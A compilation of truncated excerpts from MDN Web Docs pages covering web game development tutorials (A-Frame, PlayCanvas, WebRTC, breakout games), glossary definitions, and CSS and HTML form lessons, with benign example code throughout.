n Developing and finishing the game is not enough. You have to let the world know that you have made something interesting available, which people will enjoy playing. There are many Game promotion techniques -- many of them free -- so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game. Promoting the game helps a lot in monetizing it later on too, so it's important to do it effectively. Game monetization When you spend your time building, publishing and promoting your game, you will at some point consider earning money out of it. Game monetization is essential to anyone who considers their game development work a serious endeavour on the path to becoming an independent game developer able to make a l...
Building up a basic demo with A-Frame - Game development
t shapes with A-Frame! Here's how it looks right now: It is impressive to be able to create such a scene with just a few lines of HTML and JavaScript. Animation We've already used rotation and position to move the shapes on the scene, and we can also scale them. These attributes can be manipulated to create the illusion of animation. Rotation There's a special <a-animation> entity that can help us animate elements. Add the <a-animation> element seen below to the <a-box> element as a child, as shown: <a-box color="#0095DD" rotation="20 40 0" position="0 1 0"> <a-animation attribute="rotation" from="20 0 0" to="20 360 0" direction="alternate" dur="4000" repeat="indefinite" easing="ease"> </a-animation> </a-box> As with any other entities, you can d...
Building up a basic demo with PlayCanvas editor - Game development
ill be used on the newly created box. Click on the plus button in the Assets tab, and click on the Material option in the dropdown list that appears to create a new material. Click on your new material in the assets tab and its entity inspector will appear on the right hand side of the display. Now edit the Name text field to give it a unique name (we've chosen boxMaterial). A unique name will help us remember what this material is for -- we will add more later! To change its color we'll use the Diffuse option in the entity inspector. Click Diffuse, then select the colored box next to the Color label -- it will open a color wheel. From here you can click your desired color or enter it in the bottom text field as a hex value. We've chosen a blue color with a hex value of 0095DD -- enter t...
Building up a basic demo with the PlayCanvas engine - Game development
code goes here */ </script> </body> </html> It contains some basic information like the document <title>, and some CSS to set the width and height of the <canvas> element that PlayCanvas will use to 100% so that it will fill the entire available viewport space. The first <script> element includes the PlayCanvas library in the page; we will write our example code in the second one. There is one helper variable already included, which will store a reference to the <canvas> element. Before reading on, copy this code to a new text file and save it in your working directory as index.html. PlayCanvas application To begin developing our game we have to create the PlayCanvas application first (using the given <canvas> element), and then start the update loop. Add the following code to the bottom...
GLSL Shaders - Game development
s. It can get very complicated -- very quickly. In this article we will make a simple code example that renders a cube. To speed up the background code we will be using the Three.js API. As you may remember from the basic theory article, a vertex is a point in a 3D coordinate system. Vertices may, and usually do, have additional properties. The 3D coordinate system defines space and the vertices help define shapes in that space. Shader types A shader is essentially a function required to draw something on the screen. Shaders run on a GPU (graphics processing unit), which is optimized for such operations. Using a GPU to deal with shaders offloads some of the number crunching from the CPU. This allows the CPU to focus its processing power on other tasks, like executing code. Vertex shaders ...
WebVR — Virtual Reality for the Web - Game development
1) { zPos = -posState.position.z; } else { zPos = 0.01; } } ... } For a full explanation and more details of the demo this is taken from, see Using the WebVR API. Tools and techniques The first WebVR experiments and demos used Three.js as it's probably the most popular 3D engine for the web. See the VREffect and VRControls functions available on the Three.js github to help you implement and handle WebVR with Three.js. Boris Smus has written about the concept of Responsive WebVR, where a single web game can be played on various devices like laptops without VR hardware, PCs with Oculus Rift, or smartphones inside Google Cardboard and still deliver a unique and valuable experience across all of them. It's like responsive design, but applied to the VR world -- write...
Mobile touch controls - Game development
lso involves implementing touch controls. In this tutorial, we will see how easy it is to implement mobile controls in an HTML5 game, and enjoy playing on a mobile touch-enabled device. Note: The game Captain Rogers: Battle at Andromeda is built with Phaser and managing the controls is Phaser-based, but it could also be done in pure JavaScript. The good thing about using Phaser is that it offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose. Pure JavaScript approach We could implement touch events on our own -- setting up event listeners and assigning relevant functions to them would be quite straightforward: var el = document.getElementsByTagName("canvas")[0]; el.addEventListener("touchstart", handleStart); el.ad...
WebRTC data channels - Game development
t the other peer and in the same order in which they're sent. This is analogous to a TCP socket. Unreliable channels make no such guarantees; messages aren't guaranteed to arrive in any particular order and, in fact, aren't guaranteed to arrive at all. This is analogous to a UDP socket. We have documentation for using WebRTC. This article, however, will take advantage of some libraries that can help trivialize the work, and will demonstrate ways to use abstraction to work around implementation differences between browsers. Hopefully, of course, those differences will fade away in time. Using the p2p library One library you can use is the p2p library. This library provides a simple API for creating peer connections and setting up streams and data channels. There's also a broker server compo...
asm.js - Game development
jects, strings, closures, and basically anything that requires heap allocation. Asm.js code resembles C in many ways, but it's still completely valid JavaScript that will run in all current engines. It pushes JS engines to optimize this kind of code, and gives compilers like Emscripten a clear definition of what kind of code to generate. We will show what asm.js code looks like and explain how it helps and how you can use it. This subset of JavaScript is already highly optimized in many JavaScript engines using fancy Just-In-Time (JIT) compiling techniques. However, by defining an explicit standard we can work on optimizing this kind of code even more and getting as much performance as we can out of it. It makes it easier to collaborate across multiple JS engines because it's easy to talk abo...
Tools for game development - Game development
piler; with Emscripten, you can compile C++ and other languages that can compile to LLVM bytecode into high-performance JavaScript. This is a great tool for porting applications to the Web! There is a useful Emscripten tutorial available on the wiki. Note that we are aiming to cover Emscripten in its own section of MDN. Gecko profiler The Gecko profiler extension lets you profile your code to help figure out where your performance issues are so that you can make your game run at top speed. Shumway Shumway is a renderer for Adobe Flash built entirely in JavaScript, WebGL, etc., bridging the gap between Flash and web standards. This article shows how to make use of Shumway, and how to contribute fixes and bugs to the project. Toolchain for developing and debugging games How does this dif...
Collision detection - Game development
hop/lesson7.html. We have the bricks appearing on the screen already, but the game still isn't that interesting as the ball goes through them. We need to think about adding collision detection so it can bounce off the bricks and break them. It's our decision how to implement this, of course, but it can be tough to calculate whether the ball is touching the rectangle or not because there are no helper functions in Canvas for this. For the sake of this tutorial we will do it the easiest way possible. We will check if the center of the ball is colliding with any of the given bricks. This won't give a perfect result every time, and there are much more sophisticated ways to do collision detection, but this will work fine for teaching you the basic concepts. A collision detection function To ki...
Finishing up - Game development
and the paddle are reset, along with the movement of the ball. Rendering the lives display Now you need to add a call to drawLives() inside the draw() function and add it below the drawScore() call. drawLives(); Improving rendering with requestAnimationFrame() Now let's work on something that is not connected to the game mechanics, but to the way it is being rendered. requestAnimationFrame helps the browser render the game better than the fixed framerate we currently have implemented using setInterval(). Replace the following line: var interval = setInterval(draw, 10); with simply: draw(); and remove each instance of: clearInterval(interval); // Needed for Chrome to end game Then, at the very bottom of the draw() function (just before the closing curly brace), add in the followin...
2D breakout game using pure JavaScript - Game development
JavaScript is the best way to get a solid knowledge of web game development. After that, you can pick any framework you like and use it for your projects. Frameworks are just tools built with the JavaScript language; so even if you plan on working with them, it's good to learn about the language itself first to know what exactly is going on under the hood. Frameworks speed up development time and help take care of boring parts of the game, but if something is not working as expected, you can always try to debug that or just write your own solutions in pure JavaScript. Note: If you are interested in learning about 2D web game development using a game library, consult this series' counterpart, 2D breakout game using Phaser. Note: This series of articles can be used as material for hands-on ...
Physics - Game development
on would eventually stop the ball. Fun with physics You can do much more with physics, for example by adding ball.body.gravity.y = 100; you will set the vertical gravity of the ball. As a result it will be launched upwards, but then fall due to the effects of gravity pulling it down. This kind of functionality is just the tip of the iceberg -- there are various functions and variables that can help you manipulate the physics objects. Check out the official physics documentation and see the huge collection of examples using the Arcade and P2 physics systems. Compare your code You can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: Next steps Now we can move to the next lesson and see how to make the ball bounce off the...
Visual-js game engine - Game development
put it direct source code . File location : starter/templates/paths.js Templetes are made from visual-js core also . See source code : paths.js See the Pen Visual js - Pencil by VisualJS game engine (@zlatnaspirala) on CodePen. Online demo examples at : https://jsfiddle.net/user/zlatnaspirala/fiddles/ Demo slot mashine basic demo at : https://jsfiddle.net/zlatnaspirala/7d0d8v6d/ Help about new 2d part - implementation of matter.js based typescript . I make strong relation with webpack and project . build folder is full vendor nature. Html css and resources come from dependency logic taken from source. To make all dependency works in build proccess we need some plugins. Features : Tile's background draw for images (alias sprite - but for now there's no sprite and frame b...
Gecko FAQ - Gecko Redirect 1
SL-related bugs are filed on the Crypto component For information about the known bugs of a specific commercial product based on Gecko, see that product's release notes. How does Gecko format XML documents? Gecko supports the use of CSS and XSLT to format XML documents. For XML documents without associated CSS or XSLT, Gecko displays the pretty-printed source of the document. How does Gecko help content developers? Content developers are sick and tired of developing and testing every single web page multiple times in order to support the different, incompatible, proprietary DOMs of browsers from different vendors. They have been demanding that all vendors fully support the open standards listed above so that they can have a rich, powerful formatting system and object model at their d...
Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
Abstraction in computer programming is a way to reduce complexity and allow efficient design and implementation in complex software systems. It hides the technical complexity of systems behind simpler APIs. Advantages of Data Abstraction Helps the user to avoid writing low level code. Avoids code duplication and increases reusability. Can change internal implementation of class independently without affecting the user. Helps to increase security of an application or program as only important details are provided to the user. Example class ImplementAbstraction { // method to set values of internal members set(x, y) { this.a = x; this.b = y; } display() { console.log('a = ' + this.a); console.log('b = ' + this.b); } } const obj = new ImplementAbstrac...
Breadcrumb - MDN Web Docs Glossary: Definitions of Web-related terms
ent page in relation to the the site's structure, from top level to current page, or a list of the links the user followed to get to the current page, in the order visited. A location breadcrumb for this document might look something like this: MDN > Glossary > Breadcrumb Breadcrumb trails enable users to be aware of their location within a website. This type of navigation, if done correctly, helps users know where they are in a site and how they got there. They can also help a user get back to where they were before and can reduce the number of clicks needed to get to a higher-level page. ...
Bézier curve - MDN Web Docs Glossary: Definitions of Web-related terms
oints with a minimum of two. Web related graphics and animations use Cubic Beziers, which are curves with four control points P0, P1, P2, and P3. To draw the curve, two imaginary lines are drawn, one from P0 to P1 and the other from P1 to P2. The end points of the lines are then steadily moved to the next point. A third imaginary line is drawn with its starting point moving steadily on the first helper line and the end point on the second helper line. On this imaginary line a point is drawn from its starting point moving steadily to its end point. The curve this point describes is the Bezier curve. Here's an animated illustration demonstrating the creation of the curve: Learn more Genreal knowledge Bezier curve on Wikipedia Learn about it Cubic Bezier timing functions in CSS keyS...
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
is a process of composing and organizing a collection of instructions. These tell a computer/software program what to do in a language which the computer understands. These instructions come in the form of many different languages such as C++, Java, JavaScript, HTML, Python, Ruby, and Rust. Using an appropriate language, you can program/create all sorts of software. For example, a program that helps scientists with complex calculations, a database that stores huge amounts of data, a web site that allows people to download music, or animation software that allows people to create animated movies. Learn more General knowledge Computer programming on Wikipedia List of Programming Languages: Wikipedia ...
Favicon - MDN Web Docs Glossary: Definitions of Web-related terms
ks menu. Note, however, that most modern browsers replaced the favicon from the address bar by an image indicating whether or not the website is using HTTPS. Usually, a favicon is 16 x 16 pixels in size and stored in the GIF, PNG, or ICO file format. They are used to improve user experience and enforce brand consistency. When a familiar icon is seen in the browser's address bar, for example, it helps users know they are in the right place. ...
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
e to a variable. Example | Assign a function to a variable JavaScript const foo = function() { console.log("foobar"); } // Invoke it using the variable foo(); We assigned an Anonymous Function in a Variable, then we used that variable to invoke the function by adding parentheses () at the end. Even if your function was named, you can use the variable name to invoke it. Naming it will be helpful when debugging your code. But it won't affect the way we invoke it. Example | Pass a function as an Argument JavaScript function sayHello() { return "Hello, "; } function greeting(helloMessage, name) { console.log(helloMessage() + name); } // Pass `sayHello` as an argument to `greeting` function greeting(sayHello, "JavaScript!"); We are passing our sayHello() function as an argument...
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
See Also requestIdleCallback lazy loading ...
Lazy load - MDN Web Docs Glossary: Definitions of Web-related terms
See Also Lazy loading ...
Microsoft Internet Explorer - MDN Web Docs Glossary: Definitions of Web-related terms
e General knowledge Internet Explorer on Wikipedia History of Internet Explorer on Wikipedia Internet Explorer versions on Wikipedia Learning About Internet Explorer http://windows.microsoft.com/en-us/internet-explorer/download-ie http://windows.microsoft.com/en-us/windows7/getting-started-with-internet-explorer-9 http://windows.microsoft.com/en-us/internet-explorer/internet-explorer-help http://windows.microsoft.com/en-us/internet-explorer/make-ie-default-browser#ie=ie-11 Technical reference http://windows.microsoft.com/en-us/internet-explorer/products/ie-8/system-requirements http://windows.microsoft.com/en-us/internet-explorer/products/ie-9/system-requirements http://support.microsoft.com/kb/969393 ...
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
Many browsing features became standard after Netscape introduced them. Netscape could display a webpage while loading, used JavaScript for forms and interactive content, and stored session information in cookies. ...
Normative - MDN Web Docs Glossary: Definitions of Web-related terms
Normative is a word commonly used in software specifications to denote sections that are standardized and must be followed as a rule. Specifications might also contain sections that are marked as non-normative or informative, which means those are provided there for the purpose of helping the reader understand the specifications better or to showcase an example or best practice, which need not be followed as a rule. Learn more Description of normative and informative content in WHATWG wiki ...
Real User Monitoring (RUM) - MDN Web Docs Glossary: Definitions of Web-related terms
Real User Monitoring or RUM measures the performance of a page from real users' machines. Generally, a third party script injects a script on each page to measure and report page load data for every request made. This technique monitors an application's actual user interactions. In RUM, the third party script collects performance metrics from the real users' browsers. RUM helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience. See Also Real User Monitoring (RUM) versus Synthetic Monitoring Synthetic Monitoring Beacon ...
Same-origin policy - MDN Web Docs Glossary: Definitions of Web-related terms
...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
coded to represent the data that will be populated and not based on its default presentation styling. Presentation (how it should look), is the sole responsibility of CSS. ...
Site map - MDN Web Docs Glossary: Definitions of Web-related terms
A site map or sitemap is a list of pages of a web site. Structured listings of a site's page help with search engine optimization, providing a link for web crawlers such as search engines to follow. Site maps also help users with site navigation by providing an overview of a site's content in a single glance. ...
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
It does this without initially knowing what those capabilities are and without creating congestion. TCP slow start is an algorithm used to detect the available bandwidth for packet transmission, and balances the speed of a network connection. It prevents the appearance of network congestion whose capabilities are initially unknown, and slowly increases the volume of information diffused until the network's maximum capacity is found. To implement TCP slow start, the congestion window (cwnd) sets an upper limit on the amount of data a source can transmit over the network before receiving an acknowledgment (ACK). ...
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
ermission--to run even when the user isn't currently using that site. This is used to create sites capable of notifying the user when things happen while they're not actively engaged with a site. Such as notifying a user they have received new email even though they're not currently logged into their mail service. Overall it can be observed these threads within our operating system are extremely helpful. They help minimise the context switching time, enables more efficient communication and allows further use of the multiprocessor architecture. ...
non-normative - MDN Web Docs Glossary: Definitions of Web-related terms
Software specifications often contains information marked as non-normative or informative, which means that those are provided there for the purpose of helping the readers to understand the specification better or to show an example or a best practice, and not needed to be followed as a rule. Sections that contain official part of the specification that must be followed are often marked as normative. Learn more Description of normative and informative content in WHATWG wiki ...
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
speculative loads for scripts, style sheets and images it finds ahead in the stream and runs the HTML tree construction algorithm speculatively. The upside is that when a speculation succeeds, there's no need to reparse the part of the incoming file that was already scanned for scripts, style sheets and images. The downside is that there's more work lost when the speculation fails. This document helps you avoid the kind of things that make speculation fail and slow down the loading of your page. To make speculative loads of linked scripts, style sheets and images successful, avoid document.write. If you use a <base> element to override the base URI of your page, put the element in the non-scripted part of the document. Don't add it via document.write() or document.createElement. Avoiding ...
Mobile accessibility - Learn web development
text into form inputs using a desktop or laptop keyboard than a touchscreen virtual keyboard or a tiny mobile physical keyboard. For this reason, it is worth trying to minimize the amount of typing needed. As an example, instead of getting users to fill out their job title each time using a regular text input, you could instead offer a <select> menu containing the most common options (which also helps with consistency in data entry), and offer an "Other" option that displays a text field to type any outliers into. You can see a simple example of this idea in action in common-job-types.html (see the common jobs example live). It is also worth considering the use of HTML5 form input types such as the date on mobile platforms as they handle them well -- both Android and iOS, for example, displa...
Advanced styling effects - Learn web development
set in the box-shadow value -- another length value can be optionally set just before the color value, which is a spread radius. If set, this causes the shadow to become bigger than the original box. It is not very commonly used, but worth mentioning. Filters While you can't change the composure of an image using CSS, there are some creative things you can do. One very nice property, which can help you bring interest to your designs, is the filter property. This property enables Photoshop-like filters right from CSS. In the example below we have used two different values for filter. The first is blur() -- this function can be passed a value to indicate how much the image should be blurred. The second is grayscale(); by using a percentage we are setting how much color we want to be remove...
Cascade and inheritance - Learn web development
in this lesson, a class selector has more weight than an element selector, so the properties defined on the class will override those applied directly to the element. Something to note here is that although we are thinking about selectors, and the rules that are applied to the thing they select, it isn't the entire rule which is overwritten, only the properties which are the same. This behavior helps avoid repetition in your CSS. A common practice is to define generic styles for the basic elements, and then create classes for those which are different. For example, in the stylesheet below we have defined generic styles for level 2 headings, and then created some classes which change only some of the properties and values. The values defined initially are applied to all headings, then the mor...
Images, media, and form elements - Learn web development
ther replaced elements such as <video>s, or <iframe>s. Try adding max-width: 100% to the <img> element in the example above. You will see that the smaller image remains unchanged, but the larger one becomes smaller to fit into the box. You can make other choices about images inside containers. For example, you may want to size an image so it completely covers a box. The object-fit property can help you here. When using object-fit the replaced element can be sized to fit a box in a variety of ways. Below we have used the value cover, which sizes the image down, maintaining the aspect ratio so that it neatly fills the box. As the aspect ratio is maintained some parts of the image will be cropped by the box. If we use contain as a value the image will be scaled down until it is small enoug...
Overflowing content - Learn web development
s. To just scroll on the y axis, you could use the overflow-y property, setting overflow-y: scroll. You can also scroll on the x axis using overflow-x, although this is not a recommended way to accommodate long words! If you have a long word in a small box, you might consider using the word-break or overflow-wrap properties. In addition, some of the methods discussed in Sizing items in CSS may help you create boxes that scale better with varying amounts of content. As with scroll, you get a scrollbar in the scrolling dimension whether or not there is enough content to cause a scrollbar. Note: You can specify x and y scrolling using the overflow property, passing two values. If two keywords are specified, the first applies to overflow-x and the second applies to overflow-y. Otherwise, b...
Attribute selectors - Learn web development
Matches elements with an attr attribute (whose name is the value in square brackets), whose value begins with value. [attr$=value] li[class$="-box"] Matches elements with an attr attribute whose value ends with value. [attr*=value] li[class*="box"] Matches elements with an attr attribute whose value contains value anywhere within the string. (Aside: It may help to note that ^ and $ have long been used as anchors in so-called regular expressions to mean begins with and ends with.) The next example shows usage of these selectors: li[class^="a"] matches any attribute value which starts with a, so matches the first two list items. li[class$="a"] matches any attribute value that ends with a, so matches the first and third list item. li[class*="a"] matc...
Type, class, and ID selectors - Learn web development
he rule will only apply to that particular element & class combination; so you would need to add another selector if you decided the rule should apply to other elements too. Target an element if it has more than one class applied You can apply multiple classes to an element and target them individually, or only select the element when all of the classes in the selector are present. This can be helpful when building up components that can be combined in different ways on your site. In the example below we have a <div> that contains a note. The grey border is applied when the box has a class of notebox. If it also has a class of warning or danger, we change the border-color. We can tell the browser that we only want to match the element if it has two classes applied by chaining them togethe...
CSS selectors - Learn web development
lid class selector rule will be ignored, whereas the h1 would still be styled. h1 { color: blue; } ..special { color: blue; } When combined however, neither the h1 nor the class will be styled as the entire rule is deemed invalid. h1, ..special { color: blue; } Types of selectors There are a few different groupings of selectors, and knowing which type of selector you might need will help you to find the right tool for the job. In this article's subarticles we will look at the different groups of selectors in more detail. Type, class, and ID selectors This group includes selectors that target an HTML element such as an <h1>. h1 { } It also includes selectors which target a class: .box { } or, an ID: #unique { } Attribute selectors This group of selectors gives you differe...
Sizing items in CSS - Learn web development
Previous Overview: Building blocks Next In the various lessons so far you have come across a number of ways to size items on a web page using CSS. Understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size via CSS and define a few terms around sizing that will help you in the future. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.) Objective: To understand the different ways we can size things in CSS. The natural or intrinsic size of things HTML Elements have a natural size, set before they are affec...
CSS values and units - Learn web development
In this lesson we will take a look at some of the most common values and units in use. ...
Flexbox - Learn web development
idth/height, regardless of how much width/height is available. Making all columns in a multiple column layout adopt the same height even if they contain a different amount of content. As you'll see in subsequent sections, flexbox makes a lot of layout tasks much easier. Let's dig in! Introducing a simple example In this article we are going to get you to work through a series of exercises to help you understand how flexbox works. To get started, you should make a local copy of the first starter file -- flexbox0.html from our github repo -- load it in a modern browser (like Firefox or Chrome), and have a look at the code in your code editor. You can see it live here also. You'll see that we have a <header> element with a top level heading inside it, and a <section> element containing thre...
Floats - Learn web development
font: .9em/1.2 Arial, Helvetica, sans-serif } .wrapper { background-color: rgb(79,185,227); padding: 10px; color: #fff; } .box { float: left; margin: 15px; width: 150px; height: 150px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } Once again, this is because the float has been taken out of normal flow. Clearing the following element doesn't help with this box clearing problem, where you want the bottom of the box to wrap the floated item and wrapping content even if the content is shorter. There are three potential ways to deal with this, two of which work in all browsers -- yet are slightly hacky -- and a third new way that deals with this situation properly. The clearfix hack The way that this situation has traditionally been dealt w...
Legacy layout methods - Learn web development
r any layout. You will however encounter "grid systems" using these legacy methods from time to time. It is worth understanding how they work, and why they are different to CSS Grid Layout. This lesson will explain how grid systems and grid frameworks based on floats and flexbox work. Having studied Grid Layout you will probably be surprised how complicated this all seems! This knowledge will be helpful to you if you need to create fallback code for browsers that do not support newer methods, in addition to allowing you to work on existing projects which use these types of systems. It is worth bearing in mind, as we explore these systems, that none of them actually create a grid in the way that CSS Grid Layout creates a grid. They work by giving items a size, and pushing them around to line ...
Getting started with CSS - Learn web development
to bypass the element and simply refer to the class, unless you know that you want to create some special rules for one element alone, and perhaps want to make sure they are not applied to other things. Styling things based on their location in a document There are times when you will want something to look different based on where it is in the document. There are a number of selectors that can help you here, but for now we will look at just a couple. In our document are two <em> elements -- one inside a paragraph and the other inside a list item. To select only an <em> that is nested inside an <li> element I can use a selector called the descendant combinator, which simply takes the form of a space between two other selectors. Add the following rule to your stylesheet. li em { color: re...
How CSS is structured - Learn web development
iliar with how it works. You can also experiment with different values. Warning: One less obvious aspect of using CSS shorthand is how omitted values reset. A value not specified in CSS shorthand reverts to its initial value. This means an omission in CSS shorthand can override previously set values. Comments As with any coding work, it is best practice to write comments along with CSS. This helps you to remember how the code works as you come back later for fixes or enhancement. It also helps others understand the code. CSS Comments begin with /* and end with */. In the example below, comments mark the start of distinct sections of code. This helps to navigate the codebase as it gets larger. With this kind of commenting in place, searching for comments in your code editor becomes a way ...
How CSS works - Learn web development
led painting). The following diagram also offers a simple view of the process. About the DOM A DOM has a tree-like structure. Each element, attribute, and piece of text in the markup language becomes a DOM node in the tree structure. The nodes are defined by their relationship to other DOM nodes. Some elements are parents of child nodes, and child nodes have siblings. Understanding the DOM helps you design, debug and maintain your CSS because the DOM is where your CSS and the document's content meet up. When you start working with browser DevTools you will be navigating the DOM as you select items in order to see which rules apply. A real DOM representation Rather than a long, boring explanation, let's look at an example to see how a real HTML snippet is converted into a DOM. Take th...
CSS FAQ - Learn web development
Learn › CSS › Howto › CSS FAQ
Why doesn't my CSS, which is valid, render correctly? Browsers use the DOCTYPE declaration to choose whether to show the document using a mode that is more compatible with Web standards or with old browser bugs. Using a correct and modern DOCTYPE declaration at the start of your HTML will improve browser standards compliance. ...
Using CSS generated content - Learn web development
However, there are situations where it makes sense to specify certain content as part of the stylesheet, not as part of the document. You can specify text or image content within a stylesheet when that content is closely linked to the document's structure. ...
Use CSS to solve common problems - Learn web development
Learn › CSS › Howto
(also see the Styling boxes module, generally). How to use background-clip to control how much of the box your background image covers. How to change the box model completely using box-sizing How to control backgrounds How to control borders How to style an HTML table How to add shadows to boxes Uncommon and advanced techniques CSS allows some advanced design techniques. These articles help demystify some of the more complicated use cases. General How to calculate specificity of a CSS selector How to control inheritance in CSS Advanced effects How to use filters in CSS How to use blend modes in CSS Layout Using CSS flexible boxes Using CSS multi-column layouts Using CSS generated content ...
Fundamental text and font styling - Learn web development
st practice to use both with Times New Roman as the preferred alternative. Trebuchet MS sans-serif You should be careful with using this font -- it isn't widely available on mobile OSes. Verdana sans-serif Note: Among various resources, the cssfontstack.com website maintains a list of web safe fonts available on Windows and macOS operating systems, which can help you make your decision about what you consider safe for your usage. Note: There is a way to download a custom font along with a webpage, to allow you to customize your font usage in any way you want: web fonts. This is a little bit more complex, and we will be discussing this in a separate article later on in the module. Default fonts CSS defines five generic names for fonts: serif, sans-s...
Learn to style HTML using CSS - Learn web development
eps left off -- now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper. This module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more. The aim here is to provide you with a toolkit for writing competent CSS and help you understand all the essential theory, before moving on to more specific disciplines like text styling and CSS layout. Styling text With the basics of the CSS language covered, the next CSS topic for you to concentrate on is styling text -- one of the most common things you'll do with CSS. Here we look at text styling fundamentals, including setting font, boldness, italics, line and letter ...
What do common web layouts contain? - Learn web development
Objective: Learn where to put things on your webpages, and how to put them there. Summary There's a reason we talk about web design. You start out with a blank page, and you can take it so many directions. And if you don't have much experience, starting out with a blank page might be a bit scary. We have over 25 years' experience and we'll give you some common rules of thumb to help you design your site. Even now with the new focus on mobile Web, almost all mainstream webpages are built from these parts: Header Visible at the top of every page on the site. Contains information relevant to all pages (like site name or logo) and an easy-to-use navigation system. Main content The biggest region, containing content unique to the current page. Stuff on the side 1) Inform...
What are hyperlinks? - Learn web development
influences which search queries will find a given URL. The more incoming links a webpage can boast of, the higher it ranks in search results. External links influence the search ranking both of source and target webpages, but it is unclear by how much. SEO (search engine optimization) is the study of how to make websites rank highly in search results. Improving a website's use of links is one helpful SEO technique. Next steps Now you'll want to set up some webpages with links. To get some more theoretical background, learn about URLs and their structure, since every link points to a URL. Want something a bit more practical? The Creating hyperlinks article of our Introduction to HTML module explains how to implement links in detail. ...
Common questions - Learn web development
eb layouts contain? When designing pages for your website, it's good to have an idea of the most common layouts. This article runs through some typical Web layouts, looking at the parts that make up each one. What is accessibility? This article introduces the basic concepts behind Web accessibility. How can we design for all types of users? This article provides basic techniques to help you design websites for any kind of user -- quick accessibility wins, and other such things. What HTML features promote accessibility? This article describes specific features of HTML that can be used to make a webpage more accessible to people with different disabilities. HTML, CSS and JavaScript questions For common solutions to HTML/CSS/JavaScript problems, try the following articles:...
The HTML5 input types - Learn web development
ut types at basic input examples (see the source code also). This is another good reason for using these newer input types -- improving the user experience for users of these devices. Client-side validation As you can see above, email, along with other newer input types, provides built-in client-side error validation -- performed by the browser before the data gets sent to the server. It is a helpful aid to guide users to fill out a form accurately, and it can save time -- it is useful to know that your data is not correct immediately, rather than having to wait for a round trip to the server. But it should not be considered an exhaustive security measure! Your apps should always perform security checks on any form-submitted data on the server-side as well as the client-side, because clie...
Example 3 - Learn web development
border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #FFFFFF; } JavaScript Content // ------- // // HELPERS // // ------- // NodeList.prototype.forEach = function (callback) { Array.prototype.forEach.call(this, callback); } // -------------------- // // Function definitions // // -------------------- // function deactivateSelect(select) { if (!select.classList.contains('active')) return; var optList = select.querySelector('.optList'); optList.classList.add('hidden'); select.classList.
Example 4 - Learn web development
border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #FFFFFF; } JavaScript Content // ------- // // HELPERS // // ------- // NodeList.prototype.forEach = function (callback) { Array.prototype.forEach.call(this, callback); } // -------------------- // // Function definitions // // -------------------- // function deactivateSelect(select) { if (!select.classList.contains('active')) return; var optList = select.querySelector('.optList'); optList.classList.add('hidden'); select.classList.
Example 5 - Learn web development
border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #FFFFFF; } JavaScript Content // ------- // // HELPERS // // ------- // NodeList.prototype.forEach = function (callback) { Array.prototype.forEach.call(this, callback); } // -------------------- // // Function definitions // // -------------------- // function deactivateSelect(select) { if (!select.classList.contains('active')) return; var optList = select.querySelector('.optList'); optList.classList.add('hidden'); select.classList.
CSS property compatibility table for form controls - Learn web development
How to read the tables Values For each property, there are four possible values: Yes There's reasonably consistent support for the property across browsers. ...
Sending form data - Learn web development
js. Laravel for PHP. Ruby On Rails for Ruby. It's worth noting that even using these frameworks, working with forms isn't necessarily easy. But it's much easier than trying to write all the functionality yourself from scratch, and will save you a lot of time. Note: It is beyond the scope of this article to teach you any server-side languages or frameworks. The links above will give you some help, should you wish to learn them. A special case: sending files Sending files with HTML forms is a special case. Files are binary data -- or considered as such -- whereas all other data is text data. Because HTTP is a text protocol, there are special requirements for handling binary data. The enctype attribute This attribute lets you specify the value of the Content-Type HTTP header included i...
Styling web forms - Learn web development
ive to the <body>.) The <legend> element is very important for accessibility -- it will be spoken by assistive technologies as part of the label of each form element inside the fieldset -- but using a technique like the one above is fine. The legend contents will still be spoken in the same way; it is just the visual position that has changed. Note: You could also use the transform property to help you with positioning your <legend>. However, when you position it with for example a transform: translateY();, it moves but leaves an ugly gap in the <fieldset> border, which is not easy to get rid of. A specific styling example Let's look at a concrete example of how to style an HTML form. We will build a fancy-looking "postcard" contact form; see here for the finished version. If you want t...
UI pseudo-classes - Learn web development
worth noting that inputs whose data is in-range will also be matched by the :valid pseudo-class and inputs whose data is out-of-range will also be matched by the :invalid pseudo-class. So why have both? The issue is really one of semantics -- out-of-range is a more specific type of invalid communication, so you might want to provide a different message for out-of-range inputs, which will be more helpful to users than just saying "invalid". You might even want to provide both. Let's look at an example that does exactly this. Our out-of-range.html demo (see also the source code) builds on top of the previous example to provide out-of-range messages for the numeric inputs, as well as saying whether they are required. The numeric input looks like this: <div> <label for="age">Age (must be 12+...
CSS basics - Learn web development
